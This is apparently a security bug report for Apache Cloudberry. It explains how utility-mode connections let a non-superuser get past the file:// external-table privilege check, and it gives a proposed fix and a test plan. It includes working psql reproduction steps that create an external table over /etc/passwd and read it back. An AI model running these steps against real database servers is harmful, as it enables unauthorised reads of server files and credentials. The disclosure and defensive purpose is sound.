[Bug] Non-superuser can bypass the external-table protocol privilege check via utility-mode connections

Iniziare da gpcontrib/gp_exttable_fdw/option.c ed esaminare gp_exttable_permission_check(), quindi ispezionare check_gp_role() in src/backend/cdb/cdbvars.c per comprendere il percorso raggiungibile di utility-mode. Aggiungere la copertura di regressione in src/test/isolation2/input/external_table.source per la creazione in utility-mode di tabelle file:// e gpfdist:// da parte di utenti senza privilegi; il lavoro è completato quando entrambe vengono rifiutate e non compare alcuna relazione in pg_class.

Apache Cloudberry version

Affected: 2.1.0-incubating and earlier, and current main (verified on c781604c5ba).

What happened

The privilege check that enforces "only a superuser may create a file:// external table"
is skipped entirely when the session runs in utility mode.

In gpcontrib/gp_exttable_fdw/option.c, gp_exttable_permission_check() gates the whole
check block on the dispatch role:

if (!is_superuser && Gp_role == GP_ROLE_DISPATCH)
{
    /*
     * - Never allow 'file' exttables if not superuser.
     * - Allow http, gpfdist or gpfdists tables if pg_auth has the right
     *   permissions for this role and for this type of table
     */
    is_valid_locationuris(location_list, is_writable);
    ...
}

Under Gp_role == GP_ROLE_UTILITY the condition is false, so neither the file://
superuser restriction nor the gpfdist/gpfdists pg_authid privilege checks
(rolcreaterexthttp, rolcreaterextgpfd, rolcreatewextgpfd) ever run.

The role is reachable by an unprivileged user: gp_role is a PGC_BACKEND GUC, and
its validator check_gp_role() (src/backend/cdb/cdbvars.c) has no superuser gate —
it only forbids upgrading an already-assigned role. A client can therefore request
utility mode in the startup packet (PGOPTIONS='-c gp_role=utility') as an ordinary
login role.

The resulting table is a normal catalog entry. Once created in a utility-mode session,
it can be read from an ordinary dispatch session, so the attacker gets arbitrary
server-side file reads with the privileges of the OS account running the database
(/etc/passwd, pg_hba.conf, postgresql.conf, key material, WAL and data files, …).

What you think should happen instead

The file:// protocol restriction — and the pg_authid protocol privileges for
gpfdist/gpfdists — are security boundaries and must hold in every connection mode
a user can reach. gp_role is a transport/topology setting, not an authorization
level, so it must not be able to turn a privilege check off.

How to reproduce

# 1. As a superuser, create an unprivileged login role.
psql -p 7000 -c "CREATE ROLE lowpriv LOGIN;"

# 2. Connect as that role in utility mode and create a file:// external table.
PGOPTIONS='-c gp_role=utility' psql -p 7000 -U lowpriv -d postgres <<'SQL'
SELECT current_setting('gp_role');   -- utility
SELECT current_setting('is_superuser');  -- off
CREATE READABLE EXTERNAL TABLE etc_passwd (data text)
  LOCATION ('file://localhost/etc/passwd') FORMAT 'TEXT';
SQL
# Expected: ERROR: must be superuser to create an external table with a file protocol
# Actual:   CREATE EXTERNAL TABLE

# 3. Read it back from an ordinary (dispatch) session as the same unprivileged role.
psql -p 7000 -U lowpriv -d postgres -c "SELECT * FROM etc_passwd;"

The same bypass applies to gpfdist:// / gpfdists:// locations for a role that lacks
rolcreaterextgpfd, and to the http:// protocol for a role that lacks rolcreaterexthttp.

Operating System

Rocky Linux 9.6 (Blue Onyx). Not OS-specific.

Anything else

Impact. CVSS v3.1 6.5 Medium —
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N. Reproducible every time; no race, no special
cluster configuration. This is not by design: the superuser-only restriction on
file:// is documented and is simply not reached in utility mode.

Proposed fix. Run the check in utility mode as well:

-    if(!is_superuser && Gp_role == GP_ROLE_DISPATCH)
+    if(!is_superuser &&
+       (Gp_role == GP_ROLE_DISPATCH || Gp_role == GP_ROLE_UTILITY))

GP_ROLE_EXECUTE is deliberately left out. That role is only ever set by the internal
dispatch handshake and cannot be forged through PGOPTIONS, so excluding it closes the
hole without re-validating DDL on the segments that the coordinator has already checked.

Test coverage. A regression case belongs in
src/test/isolation2/input/external_table.source: from a -1U (utility) session,
SET SESSION AUTHORIZATION to a non-superuser role and assert that both a file://
and an unprivileged gpfdist:// CREATE READABLE EXTERNAL TABLE are rejected, then
assert nothing was created in pg_class.

Credit. Reported to security@apache.org by Geo (cve@sageby.com); triaged and
accepted by the Apache Cloudberry PMC. Back-ports to affected release branches to follow.

• Yes, I am willing to submit a PR!